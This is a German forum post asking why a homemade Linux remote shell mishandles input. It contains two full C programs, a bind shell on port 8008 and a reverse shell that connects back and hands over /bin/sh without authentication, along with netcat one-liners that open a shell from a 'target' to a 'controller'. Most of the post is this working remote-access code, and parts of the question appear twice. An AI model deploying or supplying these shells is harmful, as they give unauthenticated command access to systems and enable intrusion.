Ich hoffe ich bin hier in der richtigen Abteilung. Falls nicht bitte ich um entschuldigung 
Ich habe mir eine billige Remote Shell für Linux Systeme zurecht gebastelt.
Ich leite die Streams vom Socket zu dem Kindprozess "/bin/sh" und umgekehrt weiter.
An für sich funktioniert das ganze. Irgendwas mit der Eingabe ist allerdings komisch. Scheinbar muss ich an die Befehle ein Lehrzeichen anhängen, jedoch identifizieren einige Programme dieses als Parameter.
Ich poste einfach mal ein paar Beispielausgaben:
Das zweite ls -la / hat ein Lehrzeichen am Ende.
Das selbe Verhalten habe ich bei "netcat -ltp 8008 -e/bin/sh" fest gestellt.
Kann mir vlt. jemand auf die Sprünge helfen warum dies so ist ?
Muss ich die Usereingabe vorher bearbeiten ?
Hier mein Code:
edit: Habe gerade noch ein wenig mit netcat herum gespielt. Wenn ich vom Zielrechner eine Verbindung zum "Controller" aufbaue läufts 1A.
#Controller:
netcat -ltp 8008
#Target
netcat -t -e/bin/sh CONTROLLER 8008
edit2: Auch bei mir das selber verhalten. Wenn das Ziel die Verbindung aufbaut ist alles gut, anders herum machts Probleme.
Kann mir jemand sagen warum dies so ist ?
Ich stehe da gerade total auf dem Schlauch.

Ich habe mir eine billige Remote Shell für Linux Systeme zurecht gebastelt.
Ich leite die Streams vom Socket zu dem Kindprozess "/bin/sh" und umgekehrt weiter.
An für sich funktioniert das ganze. Irgendwas mit der Eingabe ist allerdings komisch. Scheinbar muss ich an die Befehle ein Lehrzeichen anhängen, jedoch identifizieren einige Programme dieses als Parameter.
Ich poste einfach mal ein paar Beispielausgaben:
Code:
ls
: not found
ls -la
's: invalid option -- '
„ls --help“ gibt weitere Informationen.
ls -la /
nicht möglich: Datei oder Verzeichnis nicht gefunden
ls -la /
nicht möglich: Datei oder Verzeichnis nicht gefunden
/:
insgesamt 104
... funzt
Das zweite ls -la / hat ein Lehrzeichen am Ende.
Das selbe Verhalten habe ich bei "netcat -ltp 8008 -e/bin/sh" fest gestellt.
Kann mir vlt. jemand auf die Sprünge helfen warum dies so ist ?
Muss ich die Usereingabe vorher bearbeiten ?
Hier mein Code:
Code:
/*
============================================================================
Name : CrapShell.c
Author : SleepProgger
Version : 0.0a
Copyright : Do what you want
Description : Simple remote shell. Do not use fork because of uClinux compatibility
============================================================================
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT_NO 8008
// pipe the socket streams to the process streams
// of a new creted process
int start_child(int fd) {
char *shell[2] = { "/bin/sh", NULL };
pid_t pid;
pid = vfork();
if (pid == 0) { // if we are the child
if (fd != 0)
dup2(fd, 0); // fd becomes stdin
if (fd != 1)
dup2(fd, 1); // fd becomes stdout
if (fd != 2)
dup2(fd, 2); // fd becomes stderr
if (fd > 2)
close(fd); // now we can close it (the dups stay open)
execv(shell[0], shell);
// TODO Diese Funktionen werden niemals aufgerufen,
// da execv den aktuellen Prozess ersetzt, richtig ?
close(fd);
_exit(1);
return 0;
}
return (pid);
}
// start the server
void openBetterRemoteShell() {
int sockfd, newsockfd, portno;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
int n;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0){
perror("ERROR opening socket");
exit(1);
}
portno = PORT_NO;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0){
perror("ERROR on binding");
exit(1);
}
while (1) {
n = 1;
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0){
perror("ERROR on accept");
exit(1);
}
// if the send fail: ignore it
if( write(newsockfd, "Welcome stranger", 16) > 0 ){
start_child(newsockfd);
}
}
close(sockfd);
}
int main(void) {
openBetterRemoteShell();
return EXIT_SUCCESS;
}
edit: Habe gerade noch ein wenig mit netcat herum gespielt. Wenn ich vom Zielrechner eine Verbindung zum "Controller" aufbaue läufts 1A.
#Controller:
netcat -ltp 8008
#Target
netcat -t -e/bin/sh CONTROLLER 8008
edit2: Auch bei mir das selber verhalten. Wenn das Ziel die Verbindung aufbaut ist alles gut, anders herum machts Probleme.
Kann mir jemand sagen warum dies so ist ?
Ich stehe da gerade total auf dem Schlauch.
Code:
/*
============================================================================
Name : ReverseCrapShell.c
Author : SleepProgger
Version : 0.0a
Copyright : Do what you want
Description : Simple reverse remote shell.
============================================================================
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT_NO 8008
void error(const char *msg) {
perror(msg);
exit(0);
}
// pipe the socket streams to the process streams
// of a new creted process
int start_child(int fd) {
char *shell[2] = { "/bin/sh", NULL };
pid_t pid;
pid = vfork();
if (pid == 0) { // if we are the child
if (fd != 0)
dup2(fd, 0); // fd becomes stdin
if (fd != 1)
dup2(fd, 1); // fd becomes stdout
if (fd != 2)
dup2(fd, 2); // fd becomes stderr
if (fd > 2)
close(fd); // now we can close it (the dups stay open)
execv(shell[0], shell);
// TODO Diese Funktionen werden niemals aufgerufen,
// da execv den aktuellen Prozess ersetzt, richtig ?
close(fd);
_exit(1);
return 0;
}
return (pid);
}
// get the incoming address and connect to inPort +1
int startReversConnection(int fd, struct sockaddr_in cliAddr) {
int sockfd, n;
struct sockaddr_in serv_addr;
struct hostent *server;
char *inAddress;
char outBuffer[256];
bzero(outBuffer, 256);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("ERROR opening socket");
return 1;
}
// get the hostname from incoming connection
inAddress = inet_ntoa(cliAddr.sin_addr);
server = gethostbyname(inAddress);
if (server == NULL) {
perror("Error getting incoming host");
return 1;
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *) server->h_addr, (char *) &serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(PORT_NO+1);
sprintf(outBuffer, "connect to %s on port %i ...\n", inAddress, PORT_NO+1);
write(fd, outBuffer, strlen(outBuffer));
bzero(outBuffer, 256);
// connect to remote and pass descriptor to start_child();
if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
sprintf(outBuffer, "failed to connect to port connect to %s on port %i ...\n", inAddress, PORT_NO+1);
write(fd, outBuffer, strlen(outBuffer));
perror("ERROR connecting");
return 1;
}
n = write(sockfd, "Welcome to ReverseCrapShell Stranger\n", 37);
if (n < 0) {
sprintf(outBuffer, "failed to connect to port connect to %s on port %i ...\n", inAddress, PORT_NO+1);
write(fd, outBuffer, strlen(outBuffer));
perror("ERROR writing to socket");
close(sockfd);
return 1;
}
start_child(sockfd);
return 0;
}
// start the server
void openBetterRemoteShell() {
int sockfd, newsockfd, portno;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
int n;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
portno = PORT_NO;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
while (1) {
n = 1;
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) {
perror("ERROR on accept");
exit(1);
}
// if the send fail: ignore the connection
if (write(newsockfd, "You got mail at inPort + 1 ;)\n", 30) > 0) {
startReversConnection(newsockfd, cli_addr);
close(newsockfd);
//startChild ...
}
}
close(sockfd);
}
int main(void) {
openBetterRemoteShell();
return EXIT_SUCCESS;
}
Zuletzt bearbeitet: